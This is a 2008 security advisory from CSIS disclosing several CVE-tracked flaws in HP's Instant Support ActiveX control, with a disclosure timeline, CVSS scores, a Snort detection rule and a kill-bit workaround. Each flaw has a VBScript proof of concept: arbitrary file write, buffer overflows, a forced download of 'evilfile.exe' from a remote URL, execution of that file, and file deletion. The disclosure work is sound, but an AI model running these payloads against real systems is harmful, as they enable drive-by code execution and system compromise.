CSIS Security Research and Intelligence

Advisory - HP Online Support Service ActiveX multiple vulnerabilities

CSIS-RI-0003

Discovered by Dennis Rand
rand@csis.dk
http://www.csis.dk

Table of contents

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

Introduction

The installation has been made on a clean freshly installed Windows XP with the latest patch level.

Timeline of public disclosure

- 01. November 2007 — Vulnerability discovered.
- 07. November 2007 — Research ended.
- 10. November 2007 — CERT/CC informed
- 11. November 2007 — Received CVE/VU tags from CERT/CC
- 11. November 2007 — Vendor notified – (security-alert@hp.com)
- 13. March 2008 — Vendor notified that a patch was almost Ready.
- 10. April 2008 — Requested update from vendor
- 08. May 2008 — Requested update from vendor
- 08. May 2008 — Received response from vendor that a patch was almost ready.
- 20. May 2008 — Informed vendor that if no response was made the Advisory would be made public 22. May 2008.
- 21. May 2008 — Received information from vendor if release date could be postponed to 26. May 2008.
- 04. June 2008 — Public release

Time from vulnerabilities reported to public release: **207 days**

Contact information

The following vulnerability was discovered by Dennis Rand at CSIS.DK

Questions regarding this issue should be directed to:

Dennis Rand
rand@csis.dk

About CSIS Security Group

CSIS Security Group ApS is a privately held Danish IT security company originally founded in 1999. Today we employ more than 30 dedicated and competent people.

Values
CSIS Security Group operates with a set of values describing our way to act internally, with our customers, as well as generally in the market. It describes our culture and is the very framework for our decisions and strategies and thereby supports us in all we do.

This set of values makes us capable of attracting and retaining some of the leading competencies within IT security. Our devoted staff and the company value set is the main reason why we keep strengthening our reputation as a trusted, loyal, and competent IT security advisor.

CSIS Security Group product strategy

- CSIS Security group wants to offer the most extensive and cost effective IT security solutions in the Nordics. To reveal, document, and prevent security breaches for our customers. To support the IT security responsible with gathering and analysis of information to prevent IT related crimes and harmful user behavior.

- CSIS Security Group IT security solutions ensure that management as well as the technical staff has access to an updated overview of the current status, and documents governance and control of security exposures 24x7.

- CSIS Security Groups target is to be among the top 3 suppliers within standardized, stabile, and modular IT security products, while providing economies of scale through a central solution with the possibility for strategic outsourcing

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

File description

Installation file

File name:	HPISDataManager.CAB
Serial number:	7a de 0c 56 5b 1d 72 9b 61 c6 df 91 95 89 7e 03
Company Name	Hewlett-Packard Company
Signing Time:	30. march 2007 04:51:58
MD5 Check Sum:	52F9EF8C7D35119FA3FD514AB0475D9D

ActiveX DLL

File name:	HPISDataManager.dll
Company Name	Hewlett-Packard
Program version:	1, 0, 0, 21
File version:	1.0.0.21
MD5 Checksum:	4A10207DC237596CB50E003CDC7CDE1B
ClassID:	14C1B87C-3342-445F-9B5E-365FF330A3AC

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

Technical details

Abstract

Several ActiveX components are affected by multiple types of vulnerabilities.

This would allow an attacker to:

- Write a malicious file to the system or elsewhere where the user has account or network access.
- Multiple overflows, allowing arbitrary code execution
- Download of malicious files
- Execution of malicious files
- Deletion of arbitrary files

Description

Hewlett-Packard Online Support Services is a suite of Web-based tools which automates troubleshooting and diagnosis of hardware and configuration issues. It automatically gathers system data and provides online solutions, including applicable BIOS- and driver updates.

Download ActiveX URL:
http://h20278.www2.hp.com/HPISWeb/Customer/cabs/HPISDataManager.CAB

Support page from where the ActiveX is installed:
http://instantsupport.hp.com/euserv/jsp/hpinstantsupport.jsp

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

Analysis

AppendStringToFile – Write file anywhere

The "AppendStringToFile" function in the activeX allows a malicious attacker to write a file with arbitrary data anywhere on the system where the user has the appropriate system rights. This would allow complete compromise of the system and could be used in a drive-by scenario.

Identification:

CVE#	CVE-2008-0952
CERT VU#	VU#190939

CVSS v2 Vector:

CVSS v2 Base Score:	7.8
CVSS v2 Base:	(AV:N/AC:L/Au:N/C:N/I:C/A:N)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Sub AppendStringToFile ( ByVal bstrInputFileName As String ,  ByVal bstrInputString As
String )"
memberName = "AppendStringToFile"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 2

arg1="c:\evil.exe"
arg2=String("CSIS entered this")

target.AppendStringToFile arg1 ,arg2

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

ExtractCab – Buffer Overflow

The "*ExtractCab*" function does not handle input correctly. This would allow a malicious attacker to insert a large amount of data into the function and overwrite the return address.

Successful exploitation of this vulnerability will allow execution of arbitrary code with the same rights as the logged on user. This issue could also lead to system compromise.

Identification:

CVE#	CVE-2007-5604
CERT VU#	VU#754403

CVSS v2 Vector

CVSS v2 Base Score:	9.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:C/I:C/A:C)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Function ExtractCab ( ByVal filepath As String ,  ByVal destpath As String ) As String"
memberName = "ExtractCab"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 2

arg1=String(277, "B")
arg2="defaultV"

target.ExtractCab arg1 ,arg2

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

GetFileTime – Buffer Overflow

The "*GetFileTime*" function does not correctly handle input. This will allow a malicious attacker to insert a large amount of data into the function and overwrite the return address.

Successful exploitation of this vulnerability will allow execution of arbitrary code with the same rights as the logged on user. Again this would allow complete system compromise.

Identification:

CVE#	CVE-2007-5605
CERT VU#	VU#558163

CVSS v2 Vector

CVSS v2 Base Score:	9.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:C/I:C/A:C)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Function GetFileTime ( ByVal FileName As String ) As String"
memberName = "GetFileTime"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 1

arg1=String(1557, "B")

target.GetFileTime arg1

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

MoveFile – Buffer Overflow

The "*MoveFile*" function does not handle input correctly. This would allow a malicious user to insert a large amount of data into the function and overwrite the return address.

Successful exploitation of this vulnerability will allow execution of arbitrary code with the rights of the logged on user. Yet again, exploitation could lead to complete system compromise.

Identification:

CVE#	CVE-2007-5606
CERT VU#	VU#221123

CVSS v2 Vector

CVSS v2 Base Score:	9.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:C/I:C/A:C)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Sub MoveFile ( ByVal FileName As String )"
memberName = "MoveFile"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 1

arg1 = String(139, "B")
arg1 = "CCCC"
arg1 = arg1 + String(138, "B")

target.MoveFile arg1

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

RegistryString – Buffer Overflow

The "*RegistryString*" function does not handle input correctly. This would allow a malicious attacker to insert a large amount of data into the function and overwrite the return address.

Successful exploitation of this vulnerability will allow execution of arbitrary code with the rights of the logged on user.

Identification:

CVE#	CVE-2007-5607
CERT VU#	VU#526131

CVSS v2 Vector

CVSS v2 Base Score:	9.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:C/I:C/A:C)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Property Let RegistryString ( ByVal bstrRegistryKey As String ,  ByVal bUserKey As Long )
As String"
memberName = "RegistryString"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 3

arg1=String(2068, "B")
arg2=1
arg3="defaultV"

target.RegistryString(arg1 ,arg2 ) = arg3

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

DownloadFile – Download arbitrary file

The "*DownloadFile*" function does not handle input correctly. This allows for a malicious person to force a download of any file to the system, where the ActiveX component is installed. In an attack scenario this could give an attacker access to sensitive client data.

Identification:

CVE#	CVE-2007-5608
CERT VU#	VU#949587

CVSS v2 Vector

CVSS v2 Base Score:	4.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:N/I:P/A:N)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Sub DownloadFile ( ByVal bstrURL As String ,  ByVal bstrOutputFile As String ,  ByVal
bstrErrorOutputFile As String )"
memberName = "DownloadFile"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 3

arg1="http://www.csis.dk/evilfile.exe"
arg2="c:\evilfile.exe"
arg3="c:\log.xml"

target.DownloadFile arg1 ,arg2 ,arg3

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

StartApp – Execute arbitrary file on local system

The "*StartApp*" function does not handle input correctly, which would allow a malicious person to execute arbitrary code, eg. the file downloaded with the functionality within "*DownloadFile*".

Identification:

CVE#	CVE-2008-0953
CERT VU#	VU#998779

CVSS v2 Vector

CVSS v2 Base Score:	9
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:C/I:C/A:P)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>

'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Function StartApp ( ByVal appName As String ) As String"
memberName = "StartApp"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 1

arg1="c:\evilfile.exe"

target.StartApp arg1

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

DeleteSingleFile – Execute arbitrary file on local system

The "*DeleteSingleFile*" function does not handle input correctly. A malicious attacker would be able to delete files on the system.

Identification:

CVE#	CVE-2007-5610
CERT VU#	VU#857539

CVSS v2 Vector

CVSS v2 Base Score:	4.3
CVSS v2 Base:	(AV:N/AC:M/Au:N/C:N/I:N/A:P)

Proof of Concept:

```
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' />
<script language='vbscript'>


'for debugging/custom prolog
targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll"
prototype  = "Sub DeleteSingleFile ( ByVal pszFileName As String )"
memberName = "DeleteSingleFile"
progid     = "HPISDataManagerLib.Datamgr"
argCount   = 1

arg1="c:\evil.exe"

target.DeleteSingleFile arg1

</script></job></package>
```


CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

Workaround

The following SNORT signature can be used to detect usage or active exploitation of the affected vulnerable ActiveX components.

```
alert tcp any any -> $HOME_NET any (msg:"CSIS Security Group - Research & Intelligence #0003";
flow:established,to_client; content:"clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC"; nocase;
reference:url,www.csis.dk; classtype:string-detect; sid:900000001; rev:1;)
```

Another possibility is setting a killbit for the ActiveX:
http://support.microsoft.com/kb/240797

Fix

HP has released the following:
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c01422264
Version: 1

HPSBMA02326 SSRT071490 rev.1 - HP Instant Support HPISDataManager.dll Running on Windows, Remote Execution of Arbitrary Code

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2008-06-02
Last Updated: 2008-06-02

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01422264

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

What are CVSS

The National Infrastructure Advisory Council (NIAC) has chosen FIRST to be the custodian of the Common Vulnerability Scoring System (CVSS), the emerging standard in vulnerability scoring. This rating system is designed to provide open and universally standard severity ratings of software vulnerabilities. There is a critical need to help organizations appropriately prioritize security vulnerabilities across their constituency. The lack of a common scoring system has security teams worldwide solving the same problems with little or no coordination. FIRST will closely collaborate with CERT/CC and MITRE on this.

http://www.first.org/cvss/

Disclosure policy

CSIS Security Group - Research & Intelligence are using the disclosure policy provided by CERT/CC
http://www.cert.org/kb/vul_disclosure.html

CERT/CC Vulnerability Disclosure Policy

All vulnerabilities reported to the CERT/CC will be disclosed to the public 45 days after the initial report, regardless of the existence or availability of patches or workarounds from affected vendors. Extenuating circumstances, such as active exploitation, threats of an especially serious (or trivial) nature, or situations that require changes to an established standard may result in earlier or later disclosure. Disclosures made by the CERT/CC will include credit to the reporter unless otherwise requested by the reporter. We will apprise any affected vendors of our publication plans, and negotiate alternate publication schedules with the affected vendors when required.
It is the goal of this policy to balance the need of the public to be informed of security vulnerabilities with the vendors' need for time to respond effectively. The final determination of a publication schedule will be based on the best interests of the community overall.

Vulnerabilities reported to us will be forwarded to the affected vendors as soon as practical after we receive the report. The name and contact information of the reporter will be forwarded to the affected vendors unless otherwise requested by the reporter. We will advise the reporter of significant changes in the status of any vulnerability he or she reported to the extent possible without revealing information provided to us in confidence.

Vulnerabilities that are especially serious will continue to be disclosed in CERT advisories. Other vulnerabilities will be disclosed in CERT vulnerability notes.

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355

Disclaimer

The information within this document may change without notice.
Use of this information constitutes acceptance for use in an "AS IS" condition.

There are NO warranties with regard to this information.

In no event shall I be liable for any consequences or damages,
including direct, indirect, incidental, consequential, loss of business profits or special damages, arising out of or in connection with the use or spread of this information.

Any use of this information lies within the user's responsibility. All registered and unregistered trademarks represented in this document
is the sole property of their respective owners.

If you use the following information you have to credit Dennis Rand from CSIS Security Group for the discovery.

CSIS Security Group
Knabrostræde 3 A ● DK-1210 København K ● Tlf. +45 8813 6030 ● Fax +45 2817 6030
info@csis.dk ● www.csis.dk ● CVR 29523355